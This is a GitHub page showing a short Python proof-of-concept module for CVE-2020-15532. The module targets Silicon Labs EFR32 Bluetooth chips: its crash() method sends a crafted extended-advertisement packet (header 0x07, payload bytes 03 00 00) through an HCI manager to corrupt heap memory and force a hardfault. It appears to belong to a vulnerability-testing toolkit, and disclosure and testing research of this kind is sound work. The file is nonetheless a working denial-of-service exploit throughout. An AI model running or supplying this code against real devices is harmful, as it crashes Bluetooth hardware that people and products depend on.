-
Notifications
You must be signed in to change notification settings - Fork 9
/
silabs_efr32_extadv_dos.py
34 lines (25 loc) · 1001 Bytes
/
silabs_efr32_extadv_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time
import struct
class TestSet():
def __init__(self, subparsers):
self.cmd = 'silabs_extadv_dos'
self.parser = subparsers.add_parser(self.cmd,
help='[CVE-2020-15532] Silicon Labs EFR32 Extended Advertisement Heap Memory Corruption DoS PoC')
self.parser.add_argument('action', choices=['crash'], help='Choose an action')
self.funcs = {'crash':self.crash}
def getCmd(self):
return self.cmd
def run(self, hci_manager, action):
self.hm = hci_manager
self.funcs[action]()
# generate packets to cause a hardfault due to a memory access violation
def crash(self):
self.hm.set_filter()
time.sleep(1)
self.hm.set_ext_adv_params()
self.hm.enable_custom_ac_pdu(True)
self.hm.send_ac_pdu_header(0x07)
self.hm.send_ac_pdu_payload(b"\x03\x00\x00", False)
self.hm.enable_ext_adv(True)
time.sleep(5)
self.hm.stop(None, None)